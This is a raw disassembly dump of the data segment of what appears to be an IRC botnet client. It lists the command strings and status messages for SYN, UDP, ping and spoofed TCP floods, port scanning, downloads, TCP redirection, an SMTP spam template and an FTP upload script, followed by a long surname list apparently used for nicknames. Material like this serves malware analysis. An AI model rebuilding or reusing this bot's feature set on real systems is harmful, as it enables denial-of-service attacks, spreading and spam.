aIcmpInvalidFlo db '[ICMP]: Invalid flood time must be greater than 0.',0
; DATA XREF: seg000:loc_406642o
align 4
aClone_0 db 'clone',0 ; DATA XREF: seg000:00404FEEo
align 4
aC: ; DATA XREF: seg000:00405005o
unicode 0, <c>,0
aClonesCreatedO db '[CLONES]: Created on %s:%d, in channel %s.',0
; DATA XREF: seg000:004064D8o
align 4
aClonesFailedTo db '[CLONES]: Failed to start clone thread, error: <%d>.',0
; DATA XREF: seg000:00406547o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: seg000:0040501Co
align 10h
aUsa_ack db 'usa.ack',0 ; DATA XREF: seg000:00405033o
aUsa_ran db 'usa.ran',0 ; DATA XREF: seg000:0040504Ao
aDdosFloodingSS db '[DDoS]: Flooding: (%s:%s) for %s seconds.',0
; DATA XREF: seg000:004063D8o
align 4
aDdosFailedToSt db '[DDoS]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: seg000:00406450o
align 10h
aSynflood db 'synflood',0 ; DATA XREF: seg000:00405061o
align 4
aSy1 db 'sy1',0 ; DATA XREF: seg000:00405078o
aSynFloodingSSF db '[SYN]: Flooding: (%s:%s) for %s seconds.',0
; DATA XREF: seg000:004062C9o
align 4
aSynFailedToSta db '[SYN]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: seg000:00406343o
align 10h
aDownload909 db 'download909',0 ; DATA XREF: seg000:0040508Fo
aDl909 db 'dl909',0 ; DATA XREF: seg000:004050A6o
align 4
aDownloadDownlo db '[DOWNLOAD]: Downloading URL: %s to: %s.',0 ; DATA XREF: seg000:004061EAo
aDownloadFailed db '[DOWNLOAD]: Failed to start transfer thread, error: <%d>.',0
; DATA XREF: seg000:00406259o
align 4
aRedirect_0 db 'redirect',0 ; DATA XREF: seg000:004050BDo
align 4
aRd db 'rd',0 ; DATA XREF: seg000:004050D4o
align 4
aRedirectTcpRed db '[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.',0
; DATA XREF: seg000:004060ACo
aRedirectFailed db '[REDIRECT]: Failed to start redirection thread, error: <%d>.',0
; DATA XREF: seg000:0040611Bo
align 10h
aScan db 'scan',0 ; DATA XREF: seg000:004050EBo
align 4
aSc db 'sc',0 ; DATA XREF: seg000:00405102o
align 4
aScanPortScanSt db '[SCAN]: Port scan started: %s:%d with delay: %d(ms).',0
; DATA XREF: seg000:00405FB2o
align 4
aScanFailedTo_2 db '[SCAN]: Failed to start scan thread, error: <%d>.',0
; DATA XREF: seg000:00406021o
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: seg000:00405119o
align 4
aC_pm db 'c_pm',0 ; DATA XREF: seg000:00405130o
align 4
aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: seg000:00405F2Eo
align 4
aC_action db 'c_action',0 ; DATA XREF: seg000:00405147o
align 4
aC_a db 'c_a',0 ; DATA XREF: seg000:0040515Eo
dword_43F60C dd 54434101h, 204E4F49h, 17325hdword_43F618 dd 5D73255Bh, 25202A20h, 73252073h, 0aAdvscan db 'advscan',0 ; DATA XREF: seg000:00405187o
aVv db 'vv',0 ; DATA XREF: seg000:0040519Eo
align 4
aScanAlreadyDSc db '[SCAN]: Already %d scanning threads. Too many specified.',0
; DATA XREF: seg000:00405A16o
align 10h
aScanFailedToSt db '[SCAN]: Failed to start scan, port is invalid.',0
; DATA XREF: seg000:00405B08o
align 10h
aScanFailedTo_0 db '[SCAN]: Failed to start scan, no IP specified.',0
; DATA XREF: seg000:00405B65o
align 10h
aRandom_0 db 'Random',0 ; DATA XREF: seg000:00405CA3o
align 4
aSequential db 'Sequential',0 ; DATA XREF: seg000:00405CAAo
align 4
aScanSPortScanS db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds '
; DATA XREF: seg000:00405CD5o
db 'for %d minutes using %d threads.',0
align 4
aScanFailedTo_1 db '[SCAN]: Failed to start scan thread, error: <%d>.',0
; DATA XREF: seg000:00405D44o
align 4
aUdpflood db 'udpflood',0 ; DATA XREF: seg000:004051B5o
align 4
aPu db 'pu',0 ; DATA XREF: seg000:004051CCo
align 4
aU: ; DATA XREF: seg000:004051E3o
unicode 0, <u>,0
aUdpSendingDPac db '[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).'
; DATA XREF: seg000:00405976o
db 0
align 4
aUdpFailedToSta db '[UDP]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: seg000:004059E5o
align 4
aPingflood db 'pingflood',0 ; DATA XREF: seg000:004051FAo
align 4
aPing_1 db 'ping',0 ; DATA XREF: seg000:00405211o
align 4
aP: ; DATA XREF: seg000:00405228o
unicode 0, <p>,0
aPingSendingDPi db '[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).'
; DATA XREF: seg000:0040582Fo
db 0
align 4
aPingFailedToSt db '[PING]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: seg000:0040589Ao
align 4
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: seg000:004058AFo
align 10h
aTcpflood db 'tcpflood',0 ; DATA XREF: seg000:0040523Fo
align 4
aUsa db 'usa',0 ; DATA XREF: seg000:00405256o
aSyn db 'syn',0 ; DATA XREF: seg000:00405623o
aAck db 'ack',0 ; DATA XREF: seg000:0040563Bo
aRandom db 'random',0 ; DATA XREF: seg000:00405652o
align 10h
aSpoofed db 'Spoofed',0 ; DATA XREF: seg000:004056F7o
aNormal db 'Normal',0 ; DATA XREF: seg000:004056FEo
align 10h
aTcpSSFloodingS db '[TCP]: %s %s flooding: (%s:%s) for %s seconds.',0
; DATA XREF: seg000:0040570Eo
align 10h
aTcpFailedToSta db '[TCP]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: seg000:00405788o
align 4
aTcpInvalidFl_0 db '[TCP]: Invalid flood time must be greater than 0.',0
; DATA XREF: seg000:loc_405792o
align 4
aTcpInvalidFloo db '[TCP]: Invalid flood type specified.',0 ; DATA XREF: seg000:00405662o
align 10h
aEmail db 'email',0 ; DATA XREF: seg000:0040526Do
align 4
asc_43F9A8: ; DATA XREF: seg000:004052B7o
unicode 0, < >,0
a_: ; DATA XREF: seg000:004052BCo
unicode 0, <_>,0
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: seg000:00405358o
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmailMessageSe db '[EMAIL]: Message sent to %s.',0 ; DATA XREF: seg000:004053CCo
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: seg000:0040540Do
aHcon db 'hcon',0 ; DATA XREF: seg000:00405424o
align 4
aUpload db 'upload',0 ; DATA XREF: seg000:00405447o
align 4
aFtpFileNotFoun db '[FTP]: File not found: %s.',0 ; DATA XREF: seg000:0040546Ao
align 10h
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: seg000:004054F0o
align 10h
aAb db 'ab',0 ; DATA XREF: seg000:00405501o
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: seg000:00405525o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aSS_0 db '-s:%s',0 ; DATA XREF: seg000:00405545o
align 10h
aFtp_exe db 'ftp.exe',0 ; DATA XREF: seg000:0040555Co
aOpen_0 db 'open',0 ; DATA XREF: seg000:00405561o
align 10h
aFtpUploadingFi db '[FTP]: Uploading file: %s to: %s',0 ; DATA XREF: seg000:00405573o
align 4
aFtpUploading_0 db '[FTP]: Uploading file: %s to: %s failed.',0
; DATA XREF: seg000:loc_40557Ao
align 10h
aReal db 'real',0
align 4
dd 0
dword_43FAFC dd 0 off_43FB00 dd offset sub_408654 ; DATA XREF: sub_408A38+49r
aConst db 'const',0
align 10h
dd 1, 4086C0h, 7474656Ch, 7265h, 0
dd 2, 40871Eh, 706D6F63h, 2 dup(0)
dd 3, 40876Bh, 6E756F63h, 797274h, 0
dd 4, 408811h, 736Fh, 2 dup(0)
dd 5, 408886h
off_43FB68 dd offset aAbdulrazak ; DATA XREF: sub_408654+20r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_43FB74 dd offset aAddison ; DATA XREF: sub_408A38+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer_0 ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton_0 ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
dd offset aElmerick ; "Elmerick"
dd offset aElvis ; "Elvis"
dd offset aEncinas ; "Encinas"
dd offset aEnyeart ; "Enyeart"
dd offset aEppling ; "Eppling"
dd offset aErbach ; "Erbach"
dd offset aErdman ; "Erdman"
dd offset aErdos ; "Erdos"
dd offset aErez ; "Erez"
dd offset aEspinoza ; "Espinoza"
dd offset aEstes ; "Estes"
dd offset aEtter ; "Etter"
dd offset aEuripides ; "Euripides"
dd offset aEverett ; "Everett"
dd offset aFabbris ; "Fabbris"
dd offset aFagan ; "Fagan"
dd offset aFaioes ; "Faioes"
dd offset aFalcoAcosta ; "Falco-Acosta"
dd offset aFalorsi ; "Falorsi"
dd offset aFaris ; "Faris"
dd offset aFarone ; "Farone"
dd offset aFarren ; "Farren"
dd offset aFasso ; "Fasso'"
dd offset aFates ; "Fates"
dd offset aFeigenbaum ; "Feigenbaum"
dd offset aFejzo ; "Fejzo"
dd offset aFeldman ; "Feldman"
dd offset aFernald ; "Fernald"
dd offset aFernandes ; "Fernandes"
dd offset aFerrante ; "Ferrante"
dd offset aFerriell ; "Ferriell"
dd offset aFeuer ; "Feuer"
dd offset aFido ; "Fido"
dd offset aField ; "Field"
dd offset aFink ; "Fink"
dd offset aFinkelstein ; "Finkelstein"
dd offset aFinnegan ; "Finnegan"
dd offset aFiorina ; "Fiorina"
dd offset aFisk ; "Fisk"
dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
